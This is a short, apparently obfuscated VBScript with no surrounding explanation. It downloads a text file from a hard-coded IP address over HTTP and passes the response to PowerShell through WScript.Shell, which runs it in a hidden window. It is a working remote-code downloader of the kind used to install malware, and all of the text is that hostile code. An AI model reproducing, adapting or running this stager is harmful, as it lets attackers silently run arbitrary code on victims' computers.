Dim feAxWmLSNvuKUiLqGckLpptmikLGKhAopBbnhfcaWGncLWgptusKxbWkfZOZWoLdLZWkzoWqbBkLiWhuiJILLGAcuOzfqWcAAWmv, AUusUqpmGWoLRKkuJjgZzxRNcqWNbkPAzAJLLmNaZilehLLdsKCtKJKlbLWWfOqAvkKkbAcKtqlgZgCJzkWiLGeLcPsPBpgGKnTd
Set feAxWmLSNvuKUiLqGckLpptmikLGKhAopBbnhfcaWGncLWgptusKxbWkfZOZWoLdLZWkzoWqbBkLiWhuiJILLGAcuOzfqWcAAWmv = CreateObject("MSXML2.ServerXMLHTTP")
feAxWmLSNvuKUiLqGckLpptmikLGKhAopBbnhfcaWGncLWgptusKxbWkfZOZWoLdLZWkzoWqbBkLiWhuiJILLGAcuOzfqWcAAWmv.Open "GET", "http://91.92.254.29/Users_API/BrainiacMAX/file_s40rzeho.5f4.txt", False
feAxWmLSNvuKUiLqGckLpptmikLGKhAopBbnhfcaWGncLWgptusKxbWkfZOZWoLdLZWkzoWqbBkLiWhuiJILLGAcuOzfqWcAAWmv.Send
If feAxWmLSNvuKUiLqGckLpptmikLGKhAopBbnhfcaWGncLWgptusKxbWkfZOZWoLdLZWkzoWqbBkLiWhuiJILLGAcuOzfqWcAAWmv.Status = 200 Then
AUusUqpmGWoLRKkuJjgZzxRNcqWNbkPAzAJLLmNaZilehLLdsKCtKJKlbLWWfOqAvkKkbAcKtqlgZgCJzkWiLGeLcPsPBpgGKnTd = feAxWmLSNvuKUiLqGckLpptmikLGKhAopBbnhfcaWGncLWgptusKxbWkfZOZWoLdLZWkzoWqbBkLiWhuiJILLGAcuOzfqWcAAWmv.responseText
Dim izagZWRubTotZbdKHxciLGmLhiJUZNKbjLLcfIRTdhnPPKThGxnOWWKUBiLOAPoWWlpIKsmCRRNIiKPPOKhLhCLbiWveaOrBWGlU
Set izagZWRubTotZbdKHxciLGmLhiJUZNKbjLLcfIRTdhnPPKThGxnOWWKUBiLOAPoWWlpIKsmCRRNIiKPPOKhLhCLbiWveaOrBWGlU = CreateObject("WScript.Shell")
izagZWRubTotZbdKHxciLGmLhiJUZNKbjLLcfIRTdhnPPKThGxnOWWKUBiLOAPoWWlpIKsmCRRNIiKPPOKhLhCLbiWveaOrBWGlU.Run "powershell -Command """ & AUusUqpmGWoLRKkuJjgZzxRNcqWNbkPAzAJLLmNaZilehLLdsKCtKJKlbLWWfOqAvkKkbAcKtqlgZgCJzkWiLGeLcPsPBpgGKnTd & """", 0, True
Set izagZWRubTotZbdKHxciLGmLhiJUZNKbjLLcfIRTdhnPPKThGxnOWWKUBiLOAPoWWlpIKsmCRRNIiKPPOKhLhCLbiWveaOrBWGlU = Nothing
End If
Set feAxWmLSNvuKUiLqGckLpptmikLGKhAopBbnhfcaWGncLWgptusKxbWkfZOZWoLdLZWkzoWqbBkLiWhuiJILLGAcuOzfqWcAAWmv = Nothing